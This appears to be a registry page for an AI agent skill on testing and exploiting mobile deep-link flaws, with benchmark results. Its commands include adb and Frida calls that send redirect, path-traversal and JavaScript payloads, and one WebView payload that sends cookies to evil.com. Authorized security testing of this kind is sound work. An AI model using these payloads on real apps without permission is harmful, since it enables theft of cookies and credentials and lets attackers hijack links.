Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.
.claude/skills/exploiting-deeplink-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-05 | ✗→✗ | = Same ✗ | — | — |
| case-02 | ✗→✗ | = Same ✗ | — | — |
| case-07 | ✗→✗ | = Same ✗ | — | — |
| case-01 | ✗→✗ | = Same ✗ | — | — |
Use this skill when:
Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.
Android - Extract from AndroidManifest.xml:
bash# Decompile APK apktool d target.apk -o decompiled/ # Search for intent filters with deep link schemes grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml # Look for: # <data android:scheme="myapp" android:host="action" /> # <data android:scheme="https" android:host="target.com" />
iOS - Extract from Info.plist:
bash# Extract URL schemes plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes" # Extract Universal Links (Associated Domains) plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains" # Check: applinks:target.com # Verify apple-app-site-association file curl https://target.com/.well-known/apple-app-site-association
Android via ADB:
bash# Basic deep link invocation adb shell am start -a android.intent.action.VIEW \ -d "myapp://dashboard?user_id=1337" com.target.app # Test with injection payloads adb shell am start -a android.intent.action.VIEW \ -d "myapp://profile?redirect=https://evil.com" com.target.app # Test path traversal adb shell am start -a android.intent.action.VIEW \ -d "myapp://navigate?path=../../../admin" com.target.app # Test JavaScript injection (if loaded in WebView) adb shell am start -a android.intent.action.VIEW \ -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app # Test with extra intent parameters adb shell am start -a android.intent.action.VIEW \ -d "myapp://transfer?amount=1000&to=attacker" \ --es extra_param "injected_value" com.target.app
iOS via Safari or command line:
bash# Trigger URL scheme from Safari # Navigate to: myapp://dashboard?user_id=1337 # Using Frida to invoke frida -U -n TargetApp -e ' ObjC.classes.UIApplication.sharedApplication() .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com")); '
Android:
bash# Create a malicious app that registers the same URL scheme # AndroidManifest.xml of attacker app: # <intent-filter> # <action android:name="android.intent.action.VIEW" /> # <category android:name="android.intent.category.DEFAULT" /> # <category android:name="android.intent.category.BROWSABLE" /> # <data android:scheme="myapp" /> # </intent-filter> # When both apps are installed, Android shows a chooser dialog # On older Android versions, the first-installed app may handle the link # Check App Links verification (prevents hijacking) adb shell pm get-app-links com.target.app # Status: verified = secure # Status: undefined = vulnerable to hijacking
bash# If deep links load URLs in WebView, test for: # 1. Open redirect adb shell am start -d "myapp://open?url=https://evil.com" com.target.app # 2. File access adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml" # 3. JavaScript execution in WebView adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
Test each deep link parameter for:
| Term | Definition | |------|-----------| | Custom URL Scheme | App-registered protocol (myapp://) that routes to specific app handlers when invoked | | App Links (Android) | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app | | Universal Links (iOS) | Apple's verified deep linking using apple-app-site-association JSON file on the web domain | | Intent Hijacking | Malicious app intercepting deep links by registering the same URL scheme or intent filter | | WebView Bridge | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |
am startassetlinks.json at https://domain/.well-known/assetlinks.json.| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +5 percentage points is the difference between those two pass rates over the 22 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.